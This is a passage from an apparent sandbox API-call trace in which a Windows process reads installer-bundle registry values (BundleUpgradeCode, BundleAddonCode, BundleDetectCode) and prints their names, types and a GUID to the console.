_File=0x7fefd702ab0) returned 1 [0151.135] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.135] GetProcessHeap () returned 0x3c0000 [0151.135] GetProcessHeap () returned 0x3c0000 [0151.135] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0151.135] GetProcessHeap () returned 0x3c0000 [0151.135] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0xb0 [0151.135] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70 | out: hHeap=0x3c0000) returned 1 [0151.135] RegEnumValueW (in: hKey=0x5c, dwIndex=0x1, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="BundleUpgradeCode", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0151.135] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleUpgradeCode", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x54) returned 0x0 [0151.135] GetProcessHeap () returned 0x3c0000 [0151.135] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x56) returned 0x3db830 [0151.135] GetProcessHeap () returned 0x3c0000 [0151.135] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0151.135] GetProcessHeap () returned 0x3c0000 [0151.135] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x56 [0151.135] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleUpgradeCode", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x54 | out: pdwType=0x29f700*=0x7, pvData=0x3db830*, pcbData=0x29f780*=0x50) returned 0x0 [0151.135] __iob_func () returned 0x7fefd702a80 [0151.135] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.136] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0151.136] _fileno (_File=0x7fefd702ab0) returned 1 [0151.136] _errno () returned 0x204bb0 [0151.136] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.136] _errno () returned 0x204bb0 [0151.136] GetFileType (hFile=0x50) returned 0x1 [0151.136] lstrlenW (lpString=" ") returned 4 [0151.136] GetConsoleOutputCP () returned 0x1b5 [0151.136] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.136] GetConsoleOutputCP () returned 0x1b5 [0151.136] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.136] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.136] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.136] lstrlenW (lpString="BundleUpgradeCode") returned 17 [0151.136] __iob_func () returned 0x7fefd702a80 [0151.136] _fileno (_File=0x7fefd702ab0) returned 1 [0151.136] _errno () returned 0x204bb0 [0151.136] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.136] _errno () returned 0x204bb0 [0151.136] GetFileType (hFile=0x50) returned 0x1 [0151.136] lstrlenW (lpString="BundleUpgradeCode") returned 17 [0151.136] GetConsoleOutputCP () returned 0x1b5 [0151.136] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleUpgradeCode", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0151.136] GetConsoleOutputCP () returned 0x1b5 [0151.137] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleUpgradeCode", cchWideChar=17, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BundleUpgradeCode", lpUsedDefaultChar=0x0) returned 17 [0151.137] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 17 [0151.137] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.137] __iob_func () returned 0x7fefd702a80 [0151.137] _fileno (_File=0x7fefd702ab0) returned 1 [0151.137] _errno () returned 0x204bb0 [0151.137] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.137] _errno () returned 0x204bb0 [0151.137] GetFileType (hFile=0x50) returned 0x1 [0151.137] lstrlenW (lpString=" ") returned 4 [0151.137] GetConsoleOutputCP () returned 0x1b5 [0151.137] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.137] GetConsoleOutputCP () returned 0x1b5 [0151.137] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.137] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.137] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.137] __iob_func () returned 0x7fefd702a80 [0151.137] _fileno (_File=0x7fefd702ab0) returned 1 [0151.137] _errno () returned 0x204bb0 [0151.137] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.137] _errno () returned 0x204bb0 [0151.137] GetFileType (hFile=0x50) returned 0x1 [0151.137] lstrlenW (lpString="REG_MULTI_SZ") returned 12 [0151.137] GetConsoleOutputCP () returned 0x1b5 [0151.138] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_MULTI_SZ", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0151.138] GetConsoleOutputCP () returned 0x1b5 [0151.138] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_MULTI_SZ", cchWideChar=12, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_MULTI_SZ", lpUsedDefaultChar=0x0) returned 12 [0151.138] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0151.138] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.138] __iob_func () returned 0x7fefd702a80 [0151.138] _fileno (_File=0x7fefd702ab0) returned 1 [0151.138] _errno () returned 0x204bb0 [0151.138] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.138] _errno () returned 0x204bb0 [0151.138] GetFileType (hFile=0x50) returned 0x1 [0151.138] lstrlenW (lpString=" ") returned 4 [0151.138] GetConsoleOutputCP () returned 0x1b5 [0151.138] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.138] GetConsoleOutputCP () returned 0x1b5 [0151.138] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.138] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.138] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.138] __iob_func () returned 0x7fefd702a80 [0151.138] _fileno (_File=0x7fefd702ab0) returned 1 [0151.138] _errno () returned 0x204bb0 [0151.138] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.138] _errno () returned 0x204bb0 [0151.139] GetFileType (hFile=0x50) returned 0x1 [0151.139] lstrlenW (lpString="{F899BAD3-98ED-308E-A905-56B5338963FF}") returned 38 [0151.139] GetConsoleOutputCP () returned 0x1b5 [0151.139] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="{F899BAD3-98ED-308E-A905-56B5338963FF}", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0151.139] GetConsoleOutputCP () returned 0x1b5 [0151.139] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="{F899BAD3-98ED-308E-A905-56B5338963FF}", cchWideChar=38, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{F899BAD3-98ED-308E-A905-56B5338963FF}", lpUsedDefaultChar=0x0) returned 38 [0151.139] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 38 [0151.139] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.139] lstrlenW (lpString="{F899BAD3-98ED-308E-A905-56B5338963FF}") returned 38 [0151.139] __iob_func () returned 0x7fefd702a80 [0151.139] _fileno (_File=0x7fefd702ab0) returned 1 [0151.139] _errno () returned 0x204bb0 [0151.139] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.139] _errno () returned 0x204bb0 [0151.139] GetFileType (hFile=0x50) returned 0x1 [0151.139] lstrlenW (lpString="\n") returned 1 [0151.139] GetConsoleOutputCP () returned 0x1b5 [0151.139] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.139] GetConsoleOutputCP () returned 0x1b5 [0151.139] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.139] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.139] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.140] GetProcessHeap () returned 0x3c0000 [0151.140] GetProcessHeap () returned 0x3c0000 [0151.140] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0151.140] GetProcessHeap () returned 0x3c0000 [0151.140] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x56 [0151.140] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0151.140] RegEnumValueW (in: hKey=0x5c, dwIndex=0x2, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="BundleAddonCode", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0151.140] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleAddonCode", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0151.140] GetProcessHeap () returned 0x3c0000 [0151.140] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0151.140] GetProcessHeap () returned 0x3c0000 [0151.140] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.140] GetProcessHeap () returned 0x3c0000 [0151.140] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0151.140] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleAddonCode", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x7, pvData=0x3dee90*, pcbData=0x29f780*=0x4) returned 0x0 [0151.140] __iob_func () returned 0x7fefd702a80 [0151.140] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.140] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0151.140] _fileno (_File=0x7fefd702ab0) returned 1 [0151.140] _errno () returned 0x204bb0 [0151.140] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.140] _errno () returned 0x204bb0 [0151.140] GetFileType (hFile=0x50) returned 0x1 [0151.140] lstrlenW (lpString=" ") returned 4 [0151.140] GetConsoleOutputCP () returned 0x1b5 [0151.140] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.140] GetConsoleOutputCP () returned 0x1b5 [0151.141] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.141] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.141] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.141] lstrlenW (lpString="BundleAddonCode") returned 15 [0151.141] __iob_func () returned 0x7fefd702a80 [0151.141] _fileno (_File=0x7fefd702ab0) returned 1 [0151.141] _errno () returned 0x204bb0 [0151.141] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.141] _errno () returned 0x204bb0 [0151.141] GetFileType (hFile=0x50) returned 0x1 [0151.141] lstrlenW (lpString="BundleAddonCode") returned 15 [0151.141] GetConsoleOutputCP () returned 0x1b5 [0151.141] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleAddonCode", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0151.141] GetConsoleOutputCP () returned 0x1b5 [0151.141] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleAddonCode", cchWideChar=15, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BundleAddonCode", lpUsedDefaultChar=0x0) returned 15 [0151.141] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0151.141] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.141] __iob_func () returned 0x7fefd702a80 [0151.141] _fileno (_File=0x7fefd702ab0) returned 1 [0151.141] _errno () returned 0x204bb0 [0151.141] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.141] _errno () returned 0x204bb0 [0151.141] GetFileType (hFile=0x50) returned 0x1 [0151.141] lstrlenW (lpString=" ") returned 4 [0151.141] GetConsoleOutputCP () returned 0x1b5 [0151.142] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.142] GetConsoleOutputCP () returned 0x1b5 [0151.142] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.142] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.142] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.142] __iob_func () returned 0x7fefd702a80 [0151.142] _fileno (_File=0x7fefd702ab0) returned 1 [0151.142] _errno () returned 0x204bb0 [0151.142] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.142] _errno () returned 0x204bb0 [0151.142] GetFileType (hFile=0x50) returned 0x1 [0151.142] lstrlenW (lpString="REG_MULTI_SZ") returned 12 [0151.142] GetConsoleOutputCP () returned 0x1b5 [0151.142] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_MULTI_SZ", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0151.142] GetConsoleOutputCP () returned 0x1b5 [0151.142] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_MULTI_SZ", cchWideChar=12, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_MULTI_SZ", lpUsedDefaultChar=0x0) returned 12 [0151.142] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0151.142] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.142] __iob_func () returned 0x7fefd702a80 [0151.142] _fileno (_File=0x7fefd702ab0) returned 1 [0151.142] _errno () returned 0x204bb0 [0151.142] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.142] _errno () returned 0x204bb0 [0151.142] GetFileType (hFile=0x50) returned 0x1 [0151.142] lstrlenW (lpString=" ") returned 4 [0151.143] GetConsoleOutputCP () returned 0x1b5 [0151.143] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.143] GetConsoleOutputCP () returned 0x1b5 [0151.143] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.143] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.143] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.143] __iob_func () returned 0x7fefd702a80 [0151.143] _fileno (_File=0x7fefd702ab0) returned 1 [0151.143] _errno () returned 0x204bb0 [0151.143] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.143] _errno () returned 0x204bb0 [0151.143] GetFileType (hFile=0x50) returned 0x1 [0151.143] lstrlenW (lpString="\n") returned 1 [0151.143] GetConsoleOutputCP () returned 0x1b5 [0151.143] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.143] GetConsoleOutputCP () returned 0x1b5 [0151.143] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.143] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.143] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.143] GetProcessHeap () returned 0x3c0000 [0151.143] GetProcessHeap () returned 0x3c0000 [0151.143] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.143] GetProcessHeap () returned 0x3c0000 [0151.144] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0151.144] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0151.144] RegEnumValueW (in: hKey=0x5c, dwIndex=0x3, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="BundleDetectCode", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0151.144] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleDetectCode", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0151.144] GetProcessHeap () returned 0x3c0000 [0151.144] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0151.144] GetProcessHeap () returned 0x3c0000 [0151.144] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.144] GetProcessHeap () returned 0x3c0000 [0151.144] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0151.144] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleDetectCode", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x7, pvData=0x3dee90*, pcbData=0x29f780*=0x4) returned 0x0 [0151.144] __iob_func () returned 0x7fefd702a80 [0151.144] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.144] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0151.144] _fileno (_File=0x7fefd702ab0) returned 1 [0151.144] _errno () returned 0x204bb0 [0151.144] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.144] _errno () returned 0x204bb0 [0151.144] GetFileType (hFile=0x50) returned 0x1 [0151.144] lstrlenW (lpString=" ") returned 4 [0151.144] GetConsoleOutputCP () returned 0x1b5 [0151.144] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.144] GetConsoleOutputCP () returned 0x1b5 [0151.144] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.144] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.144] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.144] lstrlenW (lpString="BundleDetectCode") returned 16 [0151.145] __iob_func () returned 0x7fefd702a80 [0151.145] _fileno (_File=0x7fefd702ab0) returned 1 [0151.145] _errno () returned 0x204bb0 [0151.145] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.145] _errno () returned 0x204bb0 [0151.145] GetFileType (hFile=0x50) returned 0x1 [0151.145] lstrlenW (lpString="BundleDetectCode") returned 16 [0151.145] GetConsoleOutputCP () returned 0x1b5 [0151.145] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleDetectCode", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0151.145] GetConsoleOutputCP () returned 0x1b5 [0151.145] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleDetectCode", cchWideChar=16, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BundleDetectCode", lpUsedDefaultChar=0x0) returned 16 [0151.145] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 16 [0151.145] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.145] __iob_func () returned 0x7fefd702a80 [0151.145] _fileno (_File=0x7fefd702ab0) returned 1 [0151.145] _errno () returned 0x204bb0 [0151.145] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.145] _errno () returned 0x204bb0 [0151.145] GetFileType (hFile=0x50) returned 0x1 [0151.145] lstrlenW (lpString=" ") returned 4 [0151.145] GetConsoleOutputCP () returned 0x1b5 [0151.145] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.145] GetConsoleOutputCP () returned 0x1b5 [0151.146] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.146] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.146] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.146] __iob_func () returned 0x7fefd702a80 [0151.146] _fileno (_File=0x7fefd702ab0) returned 1 [0151.146] _errno () returned 0x204bb0 [0151.146] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.146] _errno () returned 0x204bb0 [0151.146] GetFileType (hFile=0x50) returned 0x1 [0151.146] lstrlenW (lpString="REG_MULTI_SZ") returned 12 [0151.146] GetConsoleOutputCP () returned 0x1b5 [0151.146] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_MULTI_SZ", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0151.146] GetConsoleOutputCP () returned 0x1b5 [0151.146] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_MULTI_SZ", cchWideChar=12, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_MULTI_SZ", lpUsedDefaultChar=0x0) returned 12 [0151.146] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0151.146] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.146] __iob_func () returned 0x7fefd702a80 [0151.146] _fileno (_File=0x7fefd702ab0) returned 1 [0151.146] _errno () returned 0x204bb0 [0151.146] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.146] _errno () returned 0x204bb0 [0151.146] GetFileType (hFile=0x50) returned 0x1 [0151.146] lstrlenW (lpString=" ") returned 4 [0151.146] GetConsoleOutputCP () returned 0x1b5 [0151.147] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, 